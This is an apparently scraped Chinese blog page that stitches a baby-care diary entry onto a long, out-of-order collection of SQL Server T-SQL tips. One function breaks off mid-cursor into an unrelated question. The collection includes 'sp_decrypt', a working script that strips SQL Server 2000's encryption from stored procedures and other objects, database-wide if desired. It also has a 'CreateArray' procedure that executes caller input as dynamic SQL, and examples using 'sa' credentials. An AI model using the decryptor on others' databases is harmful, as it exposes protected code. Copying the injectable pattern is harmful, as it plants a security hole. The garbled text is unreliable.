|
|
September 05 小宝贝今天已经快六个月了,身高还算可以,但是体重一直不太满意,而且最近总是有点厌食,不想吃饭。你说也奇怪了,怎么小的孩子能懂什么,还挑食吗?今天我出了一个馊主意,让她妈妈用嘴喂,呵呵,你猜怎样?
她妈妈不愿意,我晕。为了孩子吃饭,这样的尝试也不试一下?
刚五月: 晚上突然叫妈妈 会趴会翻身 学 特别喜欢玩 工兵挖地雷 March 29
前两周做一个统计任务, 需要在sql server里用到数组这样的数据结构.而transact-sql没有内建数组,听说可以用字符串配合临时表来实现,自己试了,解决方法如下 :
create proc [dbo].[CreateArray]
@string varchar(1024)
as
create table #array (id int identity,value varchar(32))
set @string='insert #array select '''+replace(@string,',','''as str union all select ''')+''''
exec(@string)
select * from #array

go
执行如下 :
exec CreateArray 'CChess,Dig,GoBang,LandLord,Majiang'
存储过程、存储函数的加密:WITH ENCRYPTION <!--[if !supportLineBreakNewLine]--> <!--[endif]-->
CREATE procedure dbo.sp_XML_main
@table_name nvarchar(260)='',
@dirname nvarchar(20)=''
WITH ENCRYPTION
as
begin
....................
end
go
存储过程、存储函数的解密
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_decrypt]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_decrypt]
GO
/*--破解函数,过程,触发器,视图.仅限于SQLSERVER2000
--作者:J9988-- All rights reserved*/
/*--调用示例
--解密指定存储过程
exec sp_decrypt 'AppSP_test'
--对所有的存储过程解密
declare tb cursor for
select name from sysobjects where xtype='P' and status>0 and name<>'sp_decrypt'
declare @name sysname
open tb
fetch next from tb into @name
while @@fetch_status=0
begin
print '/*-------存储过程 ['+@name+'] -----------*/'
exec sp_decrypt @name
fetch next from tb into @name
end
close tb
deallocate tb
--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[SP_DECRYPT]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[SP_DECRYPT]
GO
CREATE PROCEDURE sp_decrypt(@objectName varchar(50))
AS
begin
set nocount on
--破解字节不受限制,适用于SQLSERVER2000存储过程,函数,视图,触发器
--修正上一版视图触发器不能正确解密错误
--发现有错,请E_MAIL:CSDNj9988@tom.com begin tran
declare @objectname1 varchar(100),@orgvarbin varbinary(8000)
declare @sql1 nvarchar(4000),@sql2 varchar(8000),@sql3 nvarchar(4000),@sql4 nvarchar(4000)
DECLARE @OrigSpText1 nvarchar(4000), @OrigSpText2 nvarchar(4000) , @OrigSpText3 nvarchar(4000), @resultsp nvarchar(4000)
declare @i int,@status int,@type varchar(10),@parentid int
declare @colid int,@n int,@q int,@j int,@k int,@encrypted int,@number int
select @type=xtype,@parentid=parent_obj from sysobjects where id=object_id(@ObjectName)
create table #temp(number int,colid int,ctext varbinary(8000),encrypted int,status int)
insert #temp SELECT number,colid,ctext,encrypted,status FROM syscomments WHERE id = object_id(@objectName)
select @number=max(number) from #temp
set @k=0
while @k<=@number
begin
if exists(select 1 from syscomments where id=object_id(@objectname) and number=@k)
begin
if @type='P'
set @sql1=(case when @number>1 then 'ALTER PROCEDURE '+ @objectName +';'+rtrim(@k)+' WITH ENCRYPTION AS '
else 'ALTER PROCEDURE '+ @objectName+' WITH ENCRYPTION AS '
end)
if @type='TR'
begin
declare @parent_obj varchar(255),@tr_parent_xtype varchar(10)
select @parent_obj=parent_obj from sysobjects where id=object_id(@objectName)
select @tr_parent_xtype=xtype from sysobjects where id=@parent_obj
if @tr_parent_xtype='V'
begin
set @sql1='ALTER TRIGGER '+@objectname+' ON '+OBJECT_NAME(@parentid)+' WITH ENCRYPTION INSTERD OF INSERT AS PRINT 1 '
end
else
begin
set @sql1='ALTER TRIGGER '+@objectname+' ON '+OBJECT_NAME(@parentid)+' WITH ENCRYPTION FOR INSERT AS PRINT 1 '
end
end
if @type='FN' or @type='TF' or @type='IF'
set @sql1=(case @type when 'TF' then
'ALTER FUNCTION '+ @objectName+'(@a char(1)) returns @b table(a varchar(10)) with encryption as begin insert @b select @a return end '
when 'FN' then
'ALTER FUNCTION '+ @objectName+'(@a char(1)) returns char(1) with encryption as begin return @a end'
when 'IF' then
'ALTER FUNCTION '+ @objectName+'(@a char(1)) returns table with encryption as return select @a as a'
end)
if @type='V'
set @sql1='ALTER VIEW '+@objectname+' WITH ENCRYPTION AS SELECT 1 as f'
set @q=len(@sql1)
set @sql1=@sql1+REPLICATE('-',4000-@q)
select @sql2=REPLICATE('-',8000)
set @sql3='exec(@sql1'
select @colid=max(colid) from #temp where number=@k
set @n=1
while @n<=CEILING(1.0*(@colid-1)/2) and len(@sQL3)<=3996
begin
set @sql3=@sql3+'+@'
set @n=@n+1
end
set @sql3=@sql3+')'
exec sp_executesql @sql3,N'@sql1 nvarchar(4000),@ varchar(8000)',@sql1=@sql1,@=@sql2
end
set @k=@k+1
end
set @k=0
while @k<=@number
begin
if exists(select 1 from syscomments where id=object_id(@objectname) and number=@k)
begin
select @colid=max(colid) from #temp where number=@k
set @n=1
while @n<=@colid
begin
select @OrigSpText1=ctext,@encrypted=encrypted,@status=status FROM #temp WHERE colid=@n and number=@k
SET @OrigSpText3=(SELECT ctext FROM syscomments WHERE id=object_id(@objectName) and colid=@n and number=@k)
if @n=1
begin
if @type='P'
SET @OrigSpText2=(case when @number>1 then 'CREATE PROCEDURE '+ @objectName +';'+rtrim(@k)+' WITH ENCRYPTION AS '
else 'CREATE PROCEDURE '+ @objectName +' WITH ENCRYPTION AS '
end)
if @type='FN' or @type='TF' or @type='IF'
SET @OrigSpText2=(case @type when 'TF' then
'CREATE FUNCTION '+ @objectName+'(@a char(1)) returns @b table(a varchar(10)) with encryption as begin insert @b select @a return end '
when 'FN' then
'CREATE FUNCTION '+ @objectName+'(@a char(1)) returns char(1) with encryption as begin return @a end'
when 'IF' then
'CREATE FUNCTION '+ @objectName+'(@a char(1)) returns table with encryption as return select @a as a'
end)
if @type='TR'
begin
if @tr_parent_xtype='V'
begin
set @OrigSpText2='CREATE TRIGGER '+@objectname+' ON '+OBJECT_NAME(@parentid)+' WITH ENCRYPTION INSTEAD OF INSERT AS PRINT 1 '
end
else
begin
set @OrigSpText2='CREATE TRIGGER '+@objectname+' ON '+OBJECT_NAME(@parentid)+' WITH ENCRYPTION FOR INSERT AS PRINT 1 '
end
end
if @type='V'
set @OrigSpText2='CREATE VIEW '+@objectname+' WITH ENCRYPTION AS SELECT 1 as f'
set @q=4000-len(@OrigSpText2)
set @OrigSpText2=@OrigSpText2+REPLICATE('-',@q)
end
else
begin
SET @OrigSpText2=REPLICATE('-', 4000)
end
SET @i=1
SET @resultsp = replicate(N'A', (datalength(@OrigSpText1) / 2))
WHILE @i<=datalength(@OrigSpText1)/2
BEGIN
SET @resultsp = stuff(@resultsp, @i, 1, NCHAR(UNICODE(substring(@OrigSpText1, @i, 1)) ^
(UNICODE(substring(@OrigSpText2, @i, 1)) ^
UNICODE(substring(@OrigSpText3, @i, 1)))))
SET @i=@i+1
END
set @orgvarbin=cast(@OrigSpText1 as varbinary(8000))
set @resultsp=(case when @encrypted=1
then @resultsp
else convert(nvarchar(4000),case when @status&2=2 then uncompress(@orgvarbin) else @orgvarbin end)
end)
print @resultsp
set @n=@n+1
end
end
set @k=@k+1
end
drop table #temp
rollback tran
end 简介
将于12月份发布的SQL Server 2005目前正处于准备阶段,最近,我研究了一份对Edgewood Solutions客户进行的调查,调查中询问他们认为什么是微软的新发布的数据库中最有价值的特性。一个不分职位、行业、公司规模和从业时间的常见回答就是加强的T-SQL。这些发现可以作为以下有关Transact-SQL编程扩展的贴士的基础。
错误处理:TRY 和CATCH
将行转换为列:PIVOT 和UNPIVOT
XML改进
贴士1:用TRY和CATCH进行错误处理
自带的错误处理是T-SQL经常被用来与其他语言进行比较的缺点。SQL Server 2005引入了TRY和CATCH,与其他许多数据库一样。通过使用这种许多开发人员和数据库管理员都熟悉的方式来进行错误处理将大大提高对SQL Server的信心。
|
BEGIN TRY
SELECT 1/0;
END TRY
BEGIN CATCH
SELECT
ERROR_NUMBER() AS ErrorNumber,
ERROR_SEVERITY() AS ErrorSeverity,
ERROR_STATE() AS ErrorState,
ERROR_PROCEDURE() AS ErrorProcedure,
ERROR_LINE() AS ErrorLine,
ERROR_MESSAGE() AS ErrorMessage;
END CATCH; |
通过PIVOT 和UNPIVOT将行转换为列
一位在保健公司上班的开发人员每当她的报告用户想要将行转换为列的时候,抱怨不止。这并不是一次良好的会话。她不得不编写一些需要执行好多个CPU周期的复杂的代码来给用户提供他们想要的数据,对这些数据的要求是在正式报告需求基础之上产生的。这些痛苦的会话在SQL Server 2005引入PIVOT和UNPIVOT命令之前是常见的事。这两个命令可以在几乎不需要修改代码的情况下快速地将行转换为列或者由列转换为行。
|
USE AdventureWorks;
GO
SELECT VendorID, [164] AS Emp1, [198] AS Emp2, [223] AS Emp3, [231] AS Emp4, [233] AS Emp5
FROM
(SELECT PurchaseOrderID, EmployeeID, VendorID
FROM Purchasing.PurchaseOrderHeader) p
PIVOT
(
COUNT (PurchaseOrderID)
FOR EmployeeID IN
( [164], [198], [223], [231], [233] )
) AS pvt
ORDER BY VendorID |
资源: 使用 PIVOT 和UNPIVOT, SQL Server 2005 在线书籍:ms-help://MS.SQLCC.v9/MS.SQLSVR.v9.en/udb9/html/24ba54fc-98f7-4d35-8881-b5158aac1d66.htm
改进的XML
XML普遍应用在通过许多异构的环境进行数据传输和在许多微软的应用程序之间传输数据上;SQL Server 2005 XML特性改善了创建、存储、传输和查询XML数据的内在能力。现在可以在SQL Server中自然地完成如下:
创建一个可以被表的某列引用的XML计划
CREATE XML SCHEMA COLLECTION [ . ]sql_identifier AS Expression
为一个表创建一个本地的数据类型,这个表在创建的时候具有指向XML计划集合的指针,同时这个表放在与基本表不同的数据页上,就像SQL Server 2000中的BLOB。
|
CREATE TABLE Orders
(OrderID int PRIMARY KEY NOT NULL,
OrderDetailsID int NOT NULL,
OrderDate datetime NOT NULL,
…
XMLOrder xml NOT NULL) |
为存储过程或者特别的事务创建一个变量作为XML数据类型
DECLARE @OrdersSchema xml
…
CREATE XML SCHEMA COLLECTION OrdersSchema AS @OrdersSchema
通过创建主要和第二索引来提高对XML数据访问的速度
|
CREATE PRIMARY XML INDEX PXML_Orders_OrderID
ON OrdersSchema.Orders (OrderID);
GO
CREATE XML INDEX SXML_Order_OrderDetailsID
ON OrdersSchema.Orders (OrderDetailsID)
USING XML INDEX PXML_Orders_OrderID FOR PATH ;
GO |
通过一个简单的SELECT语句来查询XML数据,将XML作为结果集的一部分,与表中余下的字段一起返回。
|
SELECT *
FROM Orders
WHERE OrderID = 123 | 最近有个朋友问我,他说他在SQLSERVER删除几百万到几千万数据是显的很慢,帮他分析了一下,提了一些以下意见,或许对很多人有用,再者也好长没写过BLOG了,一起探讨一下
如果你的硬盘空间小,并且不想设置数据库的日志为最小(因为希望其他正常的日志希望仍然记录),而且对速度要求比较高,并清除所有的数据建议你用turncate table1,因为truncate 是DDL操作,不产生rollback,不写日志速度快一些,然后如果有自增的话,恢复到1开始,而delete会产生rollback,如果删除大数据量的表速度会很慢,同时会占用很多的rollback segments,同时还要记录下G级别的日志 ;当然如果有条件删除比如where time<'2006-3-10' 怎么办,能不能不记录日志用delete,回答是不行的,SQL Server 引擎在设计上就会对 Delete 操作进行日志记录。至今没有办法强制制定某一些语句不记录到日志中,如果在执行 Delete Table1 where Time < '2006-3-10' 由于涉及的记录比较多,所以日志记录也相应很大(3-4G),如果可行,我建议用以下方式:
选出您所需要保留的记录到新的表。如果您使用 Full Recovery Mode 根据SELECT INTO的记录数,日志可能会比较大 Select * into Table2 From Table1 Where Time > = '2006-03-10'
然后直接Truncate Table1。无论何种恢复模式都不会进行日志记录 Truncate table Table1
最后对Table2进行改名为Table1 EC sp_rename 'Table2', 'Table1'
八、 树型的实现
--参考

--树形数据查询示例
--作者: 邹建

--示例数据
create table [tb]([id] int identity(1,1),[pid] int,name varchar(20))
insert [tb] select 0,'中国'
union all select 0,'美国'
union all select 0,'加拿大'
union all select 1,'北京'
union all select 1,'上海'
union all select 1,'江苏'
union all select 6,'苏州'
union all select 7,'常熟'
union all select 6,'南京'
union all select 6,'无锡'
union all select 2,'纽约'
union all select 2,'旧金山'
go

--查询指定id的所有子
create function f_cid(
@id int
)returns @re table([id] int,[level] int)
as
begin
declare @l int
set @l=0
insert @re select @id,@l
while @@rowcount>0
begin
set @l=@l+1
insert @re select a.[id],@l
from [tb] a,@re b
where a.[pid]=b.[id] and b.[level]=@l-1
end
 /**//**//**//*--如果只显示最明细的子(下面没有子),则加上这个删除
delete a from @re a
where exists(
select 1 from [tb] where [pid]=a.[id])
--*/
return
end
go

--调用(查询所有的子)
select a.*,层次=b.[level] from [tb] a,f_cid(2)b where a.[id]=b.[id]
go

--删除测试
drop table [tb]
drop function f_cid
go


九、 排序问题
CREATE TABLE [t] (
[id] [int] IDENTITY (1, 1) NOT NULL ,
[GUID] [uniqueidentifier] NULL
) ON [PRIMARY]
GO
下面这句执行5次
insert t values (newid())
查看执行结果
select * from t
1、 第一种
select * from t
order by case id when 4 then 1
when 5 then 2
when 1 then 3
when 2 then 4
when 3 then 5 end
2、 第二种
select * from t order by (id+2)%6
3、 第三种
select * from t order by charindex(cast(id as varchar),'45123')
4、 第四种
select * from t
WHERE id between 0 and 5
order by charindex(cast(id as varchar),'45123')
5、 第五种
select * from t order by case when id >3 then id-5 else id end
6、 第六种
select * from t order by id / 4 desc,id asc
十、 一条语句删除一批记录 首先id列是int标识类类型,然后删除ID值为5,6,8,9,10,11的列,这里的cast函数不能用convert函数代替,而且转换的类型必须是varchar,而不能是char,否则就会执行出你不希望的结果,这里的"5,6,8,9,10,11"可以是你在页面上获取的一个chkboxlist构建成的值,然后用下面的一句就全部删 除了,比循环用多条语句高效吧应该。
delete from [fujian] where charindex(','+cast([id] as varchar)+',',','+'5,6,8,9,10,11,'+',')>0
还有一种就是
delete from table1 where id in(1,2,3,4 )
十一、获取子表内的一列数据的组合字符串 下面这个函数获取05年已经注册了的某个所的律师,唯一一个参数就是事务所的名称,然后返回zhuce字段里包含05字样的所有律师。
CREATE FUNCTION fn_Get05LvshiNameBySuo (@p_suo Nvarchar(50))
RETURNS Nvarchar(2000)
AS
BEGIN
DECLARE @LvshiNames varchar(2000), @name varchar(50)
select @LvshiNames=''
DECLARE lvshi_cursor CURSOR FOR 数据库里有1,2,3,4,5 共5条记录,要用一条sql语句让其排序,使它排列成4,5,1,2,3,怎么写?
四、 一条语句执行跨越若干个数据库 我要在一条语句里操作不同的服务器上的不同的数据库里的不同的表,怎么办呢? 第一种方法:
select * from OPENDATASOURCE('SQLOLEDB','Data Source=远程ip;User ID=sa;Password=密码').库名.dbo.表名

第二种方法: 先使用联结服务器:
EXEC sp_addlinkedserver '别名','','MSDASQL',NULL,NULL,'DRIVER={SQL Server};SERVER=远程名;UID=用户;PWD=密码;'
exec sp_addlinkedsrvlogin @rmtsrvname='别名',@useself='false',@locallogin='sa',@rmtuser='sa',@rmtpassword='密码'
GO

然后你就可以如下:
select * from 别名.库名.dbo.表名
insert 库名.dbo.表名 select * from 别名.库名.dbo.表名
select * into 库名.dbo.新表名 from 别名.库名.dbo.表名
go

五、 怎样获取一个表中所有的字段信息 蛙蛙推荐:怎样获取一个表中所有字段的信息 先创建一个视图
Create view fielddesc
as
select o.name as table_name,c.name as field_name,t.name as type,c.length as

length,c.isnullable as isnullable,convert(varchar(30),p.value) as desp
from syscolumns c
join systypes t on c.xtype = t.xusertype
join sysobjects o on o.id=c.id
left join sysproperties p on p.smallid=c.colid and p.id=o.id
where o.xtype='U'


查询时:
Select * from fielddesc where table_name = '你的表名'
还有个更强的语句,是邹建写的,也写出来吧
SELECT
(case when a.colorder=1 then d.name else '' end) N'表名',
a.colorder N'字段序号',
a.name N'字段名',
(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) N'标识',
(case when (SELECT count(*)
FROM sysobjects
WHERE (name in
(SELECT name
FROM sysindexes
WHERE (id = a.id) AND (indid in
(SELECT indid
FROM sysindexkeys
WHERE (id = a.id) AND (colid in
(SELECT colid
FROM syscolumns
WHERE (id = a.id) AND (name = a.name))))))) AND
(xtype = 'PK'))>0 then '√' else '' end) N'主键',
b.name N'类型',
a.length N'占用字节数',
COLUMNPROPERTY(a.id,a.name,'PRECISION') as N'长度',
isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as N'小数位数',
(case when a.isnullable=1 then '√'else '' end) N'允许空',
isnull(e.text,'') N'默认值',
isnull(g.[value],'') AS N'字段说明'
--into ##tx

FROM syscolumns a left join systypes b
on a.xtype=b.xusertype
inner join sysobjects d
on a.id=d.id and d.xtype='U' and d.name<>'dtproperties'
left join syscomments e
on a.cdefault=e.id
left join sysproperties g
on a.id=g.id AND a.colid = g.smallid
order by object_name(a.id),a.colorder


六、 时间格式转换问题 因为新开发的软件需要用一些旧软件生成的一些数据,在时间格式上不统一,只能手工转换,研究了一下午写了三条语句,以前没怎么用过convert函数和case语句,还有"+"操作符在不同上下文环境也会起到不同的作用,把我搞晕了要,不过现在看来是差不多弄好了。
1、把所有"70.07.06"这样的值变成"1970-07-06"
UPDATE lvshi
SET shengri = '19' + REPLACE(shengri, '.', '-')
WHERE (zhiyezheng = '139770070153')
2、在"1970-07-06"里提取"70","07","06"
SELECT SUBSTRING(shengri, 3, 2) AS year, SUBSTRING(shengri, 6, 2) AS month,
SUBSTRING(shengri, 9, 2) AS day
FROM lvshi
WHERE (zhiyezheng = '139770070153')

3、把一个时间类型字段转换成"1970-07-06"
UPDATE lvshi
SET shenling = CONVERT(varchar(4), YEAR(shenling))
+ '-' + CASE WHEN LEN(MONTH(shenling)) = 1 THEN '0' + CONVERT(varchar(2),
month(shenling)) ELSE CONVERT(varchar(2), month(shenling))
END + '-' + CASE WHEN LEN(day(shenling)) = 1 THEN '0' + CONVERT(char(2),
day(shenling)) ELSE CONVERT(varchar(2), day(shenling)) END
WHERE (zhiyezheng = '139770070153')

七、 分区视图 分区视图是提高查询性能的一个很好的办法
--看下面的示例

--示例表
create table tempdb.dbo.t_10(
id int primary key check(id between 1 and 10),name varchar(10))

create table pubs.dbo.t_20(
id int primary key check(id between 11 and 20),name varchar(10))

create table northwind.dbo.t_30(
id int primary key check(id between 21 and 30),name varchar(10))
go

--分区视图
create view v_t
as
select * from tempdb.dbo.t_10
union all
select * from pubs.dbo.t_20
union all
select * from northwind.dbo.t_30
go

--插入数据
insert v_t select 1 ,'aa'
union all select 2 ,'bb'
union all select 11,'cc'
union all select 12,'dd'
union all select 21,'ee'
union all select 22,'ff'

--更新数据
update v_t set name=name+'_更新' where right(id,1)=1

--删除测试
delete from v_t where right(id,1)=2

--显示结果
select * from v_t
go

--删除测试
drop table northwind.dbo.t_30,pubs.dbo.t_20,tempdb.dbo.t_10
drop view v_t

 /**//*--测试结果

id name
----------- ----------
1 aa_更新
11 cc_更新
21 ee_更新

(所影响的行数为 3 行)
==*/
 
一、 只复制一个表结构,不复制数据
select top 0 * into [t1] from [t2]
二、 获取数据库中某个对象的创建脚本
1、 先用下面的脚本创建一个函数
if exists(select 1 from sysobjects where id=object_id('fgetscript') and objectproperty(id,'IsInlineFunction')=0)
drop function fgetscript
go

create function fgetscript(
@servername varchar(50) --服务器名
,@userid varchar(50)='sa' --用户名,如果为nt验证方式,则为空
,@password varchar(50)='' --密码
,@databasename varchar(50) --数据库名称
,@objectname varchar(250) --对象名

) returns varchar(8000)
as
begin
declare @re varchar(8000) --返回脚本
declare @srvid int,@dbsid int --定义服务器、数据库集id
declare @dbid int,@tbid int --数据库、表id
declare @err int,@src varchar(255), @desc varchar(255) --错误处理变量

--创建sqldmo对象
exec @err=sp_oacreate 'sqldmo.sqlserver',@srvid output
if @err<>0 goto lberr

--连接服务器
if isnull(@userid,'')='' --如果是 Nt验证方式
begin
exec @err=sp_oasetproperty @srvid,'loginsecure',1
if @err<>0 goto lberr

exec @err=sp_oamethod @srvid,'connect',null,@servername
end
else
exec @err=sp_oamethod @srvid,'connect',null,@servername,@userid,@password

if @err<>0 goto lberr

--获取数据库集
exec @err=sp_oagetproperty @srvid,'databases',@dbsid output
if @err<>0 goto lberr

--获取要取得脚本的数据库id
exec @err=sp_oamethod @dbsid,'item',@dbid output,@databasename
if @err<>0 goto lberr

--获取要取得脚本的对象id
exec @err=sp_oamethod @dbid,'getobjectbyname',@tbid output,@objectname
if @err<>0 goto lberr

--取得脚本
exec @err=sp_oamethod @tbid,'script',@re output
if @err<>0 goto lberr

--print @re
return(@re)

lberr:
exec sp_oageterrorinfo NULL, @src out, @desc out
declare @errb varbinary(4)
set @errb=cast(@err as varbinary(4))
exec master..xp_varbintohexstr @errb,@re out
set @re='错误号: '+@re
+char(13)+'错误源: '+@src
+char(13)+'错误描述: '+@desc
return(@re)
end
go


2、 用法如下 用法如下,
print dbo.fgetscript('服务器名','用户名','密码','数据库名','表名或其它对象名')

3、 如果要获取库里所有对象的脚本,如如下方式
declare @name varchar(250)
declare #aa cursor for
select name from sysobjects where xtype not in('S','PK','D','X','L')
open #aa
fetch next from #aa into @name
while @@fetch_status=0
begin
print dbo.fgetscript('onlytiancai','sa','sa','database',@name)
fetch next from #aa into @name
end
close #aa
deallocate #aa

4、 声明,此函数是csdn邹建邹老大提供的 三、 分隔字符串 如果有一个用逗号分割开的字符串,比如说"a,b,c,d,1,2,3,4",如何用t-sql获取这个字符串有几个元素,获取第几个元素的值是多少呢?因为t-sql里没有split函数,也没有数组的概念,所以只能自己写几个函数了。 1、 获取元素个数的函数
create function getstrarrlength (@str varchar(8000))
returns int
as
begin
declare @int_return int
declare @start int
declare @next int
declare @location int
select @str =','+ @str +','
select @str=replace(@str,',,',',')
select @start =1
select @next =1
select @location = charindex(',',@str,@start)
while (@location <>0)
begin
select @start = @location +1
select @location = charindex(',',@str,@start)
select @next =@next +1
end
select @int_return = @next-2
return @int_return
end

2、 获取指定索引的值的函数
create function getstrofindex (@str varchar(8000),@index int =0)
returns varchar(8000)
as
begin
declare @str_return varchar(8000)
declare @start int
declare @next int
declare @location int
select @start =1
select @next =1 --如果习惯从0开始则select @next =0
select @location = charindex(',',@str,@start)
while (@location <>0 and @index > @next )
begin
select @start = @location +1
select @location = charindex(',',@str,@start)
select @next =@next +1
end
if @location =0 select @location =len(@str)+1 --如果是因为没有逗号退出,则认为逗号在字符串后
select @str_return = substring(@str,@start,@location -@start) --@start肯定是逗号之后的位置或者就是初始值1
if (@index <> @next ) select @str_return = '' --如果二者不相等,则是因为逗号太少,或者@index小于@next的初始值1。
return @str_return
end

3、 测试
SELECT [dbo].[getstrarrlength]('1,2,3,4,a,b,c,d')
SELECT [dbo].[getstrofindex]('1,2,3,4,a,b,c,d',5)

*******************Transact_SQL********************
--语 句 功 能 --数据操作 SELECT --从数据库表中检索数据行和列 INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 --数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引 DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程 CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除触发器 CREATE SCHEMA --向数据库添加一个新模式 DROP SCHEMA --从数据库中删除一个模式 CREATE DOMAIN --创建一个数据值域 ALTER DOMAIN --改变域定义 DROP DOMAIN --从数据库中删除一个域 --数据控制 GRANT --授予用户访问权限 DENY --拒绝用户访问 REVOKE --解除用户访问权限 --事务控制 COMMIT --结束当前事务 ROLLBACK --中止当前事务 SET TRANSACTION --定义当前事务数据访问特征 --程序化SQL DECLARE --为查询设定游标 EXPLAN --为查询描述数据访问计划 OPEN --检索查询结果打开一个游标 FETCH --检索一行查询结果 CLOSE --关闭游标 PREPARE --为动态执行准备SQL 语句 EXECUTE --动态地执行SQL 语句 DESCRIBE --描述准备好的查询
---局部变量 declare @id char(10) --set @id = '10010001' select @id = '10010001'
---全局变量 ---必须以@@开头
--IF ELSE declare @x int @y int @z int select @x = 1 @y = 2 @z=3 if @x > @y print 'x > y' --打印字符串'x > y' else if @y > @z print 'y > z' else print 'z > y'
--CASE use pangu update employee set e_wage = case when job_level = ’1’ then e_wage*1.08 when job_level = ’2’ then e_wage*1.07 when job_level = ’3’ then e_wage*1.06 else e_wage*1.05 end
--WHILE CONTINUE BREAK declare @x int @y int @c int select @x = 1 @y=1 while @x < 3 begin print @x --打印变量x 的值 while @y < 3 begin select @c = 100*@x + @y print @c --打印变量c 的值 select @y = @y + 1 end select @x = @x + 1 select @y = 1 end
--WAITFOR --例 等待1 小时2 分零3 秒后才执行SELECT 语句 waitfor delay ’01:02:03’ select * from employee --例 等到晚上11 点零8 分后才执行SELECT 语句 waitfor time ’23:08:00’ select * from employee
***SELECT***
select *(列名) from table_name(表名) where column_name operator value ex:(宿主) select * from stock_information where stockid = str(nid) stockname = 'str_name' stockname like '% find this %' stockname like '[a-zA-Z]%' --------- ([]指定值的范围) stockname like '[^F-M]%' --------- (^排除指定范围) --------- 只能在使用like关键字的where子句中使用通配符) or stockpath = 'stock_path' or stocknumber < 1000 and stockindex = 24 not stocksex = 'man' stocknumber between 20 and 100 stocknumber in(10,20,30) order by stockid desc(asc) --------- 排序,desc-降序,asc-升序 order by 1,2 --------- by列号 stockname = (select stockname from stock_information where stockid = 4) --------- 子查询 --------- 除非能确保内层select只返回一个行的值, --------- 否则应在外层where子句中用一个in限定符 select distinct column_name form table_name --------- distinct指定检索独有的列值,不重复 select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name select stockname , "stocknumber" = count(*) from table_name group by stockname --------- group by 将表按行分组,指定列中有相同的值 having count(*) = 2 --------- having选定指定的组 select * from table1, table2 where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有得以null表示 table1.id =* table2.id -------- 右外部连接
select stockname from table1 union [all] ----- union合并查询结果集,all-保留重复行 select stockname from table2
***insert***
insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx") value (select Stockname , Stocknumber from Stock_table2)---value为select语句
***update***
update table_name set Stockname = "xxx" [where Stockid = 3] Stockname = default Stockname = null Stocknumber = Stockname + 4
***delete***
delete from table_name where Stockid = 3 truncate table_name ----------- 删除表中所有行,仍保持表的完整性 drop table table_name --------------- 完全删除表
***alter table*** --- 修改数据库表结构
alter table database.owner.table_name add column_name char(2) null ..... sp_help table_name ---- 显示表已有特征 create table table_name (name char(20), age smallint, lname varchar(30)) insert into table_name select ......... ----- 实现删除列的方法(创建新表) alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束 ***function(/*常用函数*/)***
----统计函数---- AVG --求平均值 COUNT --统计数目 MAX --求最大值 MIN --求最小值 SUM --求和
--AVG use pangu select avg(e_wage) as dept_avgWage from employee group by dept_id
--MAX --求工资最高的员工姓名 use pangu select e_name from employee where e_wage = (select max(e_wage) from employee)
--STDEV() --STDEV()函数返回表达式中所有数据的标准差
--STDEVP() --STDEVP()函数返回总体标准差
--VAR() --VAR()函数返回表达式中所有值的统计变异数
--VARP() --VARP()函数返回总体变异数
----算术函数----
/***三角函数***/ SIN(float_expression) --返回以弧度表示的角的正弦 COS(float_expression) --返回以弧度表示的角的余弦 TAN(float_expression) --返回以弧度表示的角的正切 COT(float_expression) --返回以弧度表示的角的余切 /***反三角函数***/ ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角 ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角 ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角 ATAN2(float_expression1,float_expression2) --返回正切是float_expression1 /float_expres-sion2的以弧度表示的角 DEGREES(numeric_expression) --把弧度转换为角度返回与表达式相同的数据类型可为 --INTEGER/MONEY/REAL/FLOAT 类型 RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为 --INTEGER/MONEY/REAL/FLOAT 类型 EXP(float_expression) --返回表达式的指数值 LOG(float_expression) --返回表达式的自然对数值 LOG10(float_expression)--返回表达式的以10 为底的对数值 SQRT(float_expression) --返回表达式的平方根 /***取近似值函数***/ CEILING(numeric_expression) --返回>=表达式的最小整数返回的数据类型与表达式相同可为 --INTEGER/MONEY/REAL/FLOAT 类型 FLOOR(numeric_expression) --返回<=表达式的最小整数返回的数据类型与表达式相同可为 --INTEGER/MONEY/REAL/FLOAT 类型 ROUND(numeric_expression) --返回以integer_expression 为精度的四舍五入值返回的数据 --类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型 ABS(numeric_expression) --返回表达式的绝对值返回的数据类型与表达式相同可为 --INTEGER/MONEY/REAL/FLOAT 类型 SIGN(numeric_expression) --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型 --与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型 PI() --返回值为π 即3.1415926535897936 RAND([integer_expression]) --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数
----字符串函数----
